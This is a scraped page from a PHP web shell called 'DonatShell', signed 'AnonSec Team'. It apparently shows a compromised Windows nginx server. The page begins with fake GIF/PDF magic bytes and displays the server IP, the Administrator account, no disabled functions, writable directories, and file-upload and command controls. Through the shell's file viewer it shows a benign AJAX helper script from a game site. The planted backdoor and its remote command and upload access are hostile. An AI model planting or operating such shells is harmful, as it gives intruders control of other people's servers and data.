GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/js.cloak/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/js.cloak/updateHTMLelement.js
// common/js/updateHTMLelement.js
var rfNodeId='';
var xmlhttp;
var updateAutoFlag = false;
var updateAutoURL = '';
var updateAutoNodeId = '';
var loadingText = '';
var reloadCount = 0;
var jsFunction = '';

// Load the file into the HTML element. This must only be called from updateAutoOn().
function updateAuto(timer) {
	//alert("updateAuto "+timer+" "+updateAutoFlag);
	updateInclude(updateAutoURL, updateAutoNodeId);
	if (updateAutoFlag) window.setTimeout("updateAuto('"+timer+"')",timer);
}

// Turn off the timer. It will also load the file into the HTML element if they are given.
function updateAutoOff(thisURL, thisNodeId) {
	//alert("updateAutoOn "+thisURL+" "+thisNodeId+" "+updateAutoFlag);
 	updateAutoStatus('off');
	if (thisURL != null) { updateInclude(thisURL, thisNodeId); }
}

// Turn on the timer and load the file into the HTML element.
// updateAutoOn('gameStatus.php?f_viewGameOptions=<?=$viewGameOptions?>','gameStatus','10000','game status and game settings')
function updateAutoOn(thisURL, thisNodeId, timer, thisLoadingText, thisFunction) {
	//alert("updateAutoOn "+thisURL+" "+thisNodeId+" "+timer+" "+updateAutoFlag);
	jsFunction = thisFunction;
	//alert(jsFunction);
	loadingText = thisLoadingText;
 	updateAutoStatus('on');
	if (thisURL != null) { 
		updateAutoURL = thisURL;
		updateAutoNodeId = thisNodeId;
	}
	updateAuto(timer);
}

function getHTTPObject() { 
	if (typeof XMLHttpRequest != 'undefined') {
		return new XMLHttpRequest();
	}
	try { 
		return new ActiveXObject("Msxml2.XMLHTTP"); 
	} catch (e) {
		try { 
			return new ActiveXObject("Microsoft.XMLHTTP"); 
		} catch (e) {} 
	} 
	return false; 
}

// This will actually get the file. Must only be called from updateInclude()
function updateGetFile(thisURL, thisNodeId) {
	//alert("updateGetFile "+thisURL+" "+updateAutoFlag);
  if (updateAutoStatus() == true) {
		if (window.XMLHttpRequest) { // code for Mozilla, Safari, etc 
			xmlhttp=getHTTPObject();//new XMLHttpRequest();
			xmlhttp.onreadystatechange=updateInclude(thisURL, thisNodeId);
			xmlhttp.open("get", thisURL, true); // leave true for Gecko
			xmlhttp.send(null);
		} else if (window.ActiveXObject) { //IE 
			xmlhttp=getHTTPObject();//new ActiveXObject('Microsoft.XMLHTTP'); 
			if (xmlhttp) {
				xmlhttp.onreadystatechange=updateInclude(thisURL, thisNodeId);
				xmlhttp.open('GET', thisURL, false);
				xmlhttp.send();
			}
		} else {
			//alert('Your browser does not appear to support remote scripting.');
			xmlhttp=false;
		}
	}
}

// Load the file into the HTML element. The timer is not used (nor changed!).
function updateInclude(thisURL, thisNodeId, doNotWait) {
	if (thisURL != undefined && thisNodeId != undefined && thisURL != '' && thisNodeId != '') {
		if ( doNotWait == undefined ) doNotWait = true;
		//alert("updateInclude "+thisURL+" "+thisNodeId+" "+updateAutoFlag);
		if (arguments.length!=0) {
			var rfNodeId = document.getElementById(thisNodeId);
			if (reloadCount == 0) {
				rfNodeId.innerHTML = '<p class="attention bold"><em>Loading '+loadingText+' ...</em></p>'; 
			}
			reloadCount++;
			xmlhttp=getHTTPObject();//new XMLHttpRequest();
			xmlhttp.open("GET", thisURL, doNotWait); 
			xmlhttp.onreadystatechange = function() { 
				if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { 
					rfNodeId.innerHTML = xmlhttp.responseText;
					//alert('jsFunction='+jsFunction);
					if (jsFunction != undefined && 'eval(jsFunction)' != 'undefined') eval(jsFunction);
				} 
			}
			xmlhttp.send(null);
		}
	}
}

function updateAutoStatus(setStatus) {
	//alert("updateAutoStatus "+setStatus+" "+updateAutoFlag);
	if (setStatus != null) { 
		if (setStatus == 'off') {
		//alert("updateAutoStatus('off')");
			if (document.form_UpdateHTMLelement && document.form_UpdateHTMLelement.updateAutoFlag.value != null) {
				document.form_UpdateHTMLelement.updateAutoFlag.value = false;
			}
			updateAutoFlag = false;
		}
		if (setStatus == 'on') {
		//alert("updateAutoStatus('on')");
			if (document.form_UpdateHTMLelement && document.form_UpdateHTMLelement.updateAutoFlag.value != null) {
				document.form_UpdateHTMLelement.updateAutoFlag.value = true;
			}
			updateAutoFlag = true;
		}
	}
	if (document.form_UpdateHTMLelement) {
		thisFlag = document.form_UpdateHTMLelement.updateAutoFlag.value;
		if (thisFlag == 'true') {
			updateAutoFlag = true;
		} else {
			updateAutoFlag = false;
		}
	}
	return updateAutoFlag;
}

// function URLget(thisURL, thisNodeId)
// Execute the thisURL page. Page output stored in the ScreenExit div.
// Needs: <div align="center" id="ScreenExit" class="hidden"></div> in body of page.
// I tried it without rfNodeId.innerHTML = xmlhttp.responseText; but got uneven results.
function URLget(thisURL, thisNodeId) {
	if (thisURL != undefined && thisNodeId != undefined && thisURL != '' && thisNodeId != '') {
		//alert("URLget "+thisURL+" "+thisNodeId);
		if (arguments.length!=0) {
			xmlhttp=getHTTPObject();//new XMLHttpRequest();
			xmlhttp.open("GET", thisURL); 
			xmlhttp.onreadystatechange = function() { 
				if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { 
					rfNodeId.innerHTML = xmlhttp.responseText;
					//alert(xmlhttp.responseText);
				} 
			}
			xmlhttp.send(null);
		}
	}
}

// Exit the playerScreen.
var ExitScreenFormObj;
//var ExitScreenFormTask;
//function ExitScreen(thisObj,ExitScreenFormTask) {
function ExitScreen(thisObj) {
	ExitScreenFormObj = thisObj.form;
	//formName = ExitScreenFormObj.name;
	//alert (formName);
	//alert('ExitScreenSubmit '.ExitScreenFormTask);
	//if (ExitScreenFormTask == undefined) ExitScreenFormTask = '';
	URLget('/play/playergame_ExitScreen.php','ScreenExit');
	//setTimeout('ExitScreenSubmit(ExitScreenFormTask)',250);
	setTimeout('ExitScreenSubmit()',250);
	ttHide();
	//return false;
}
//function ExitScreenSubmit(ExitScreenFormTask) {
function ExitScreenSubmit() {
	//ExitScreenFormObj = e.form;
	ttHide();
	//updateAutoStatus('off');
	updateAutoOff();
	//if (ExitScreenFormTask != undefined && ExitScreenFormTask != '') ExitScreenFormObj.f_task.ExitScreenFormTask = task;
	ExitScreenFormObj.submit();
}

updateAutoStatus('off');

Anon7 - 2022
AnonSec Team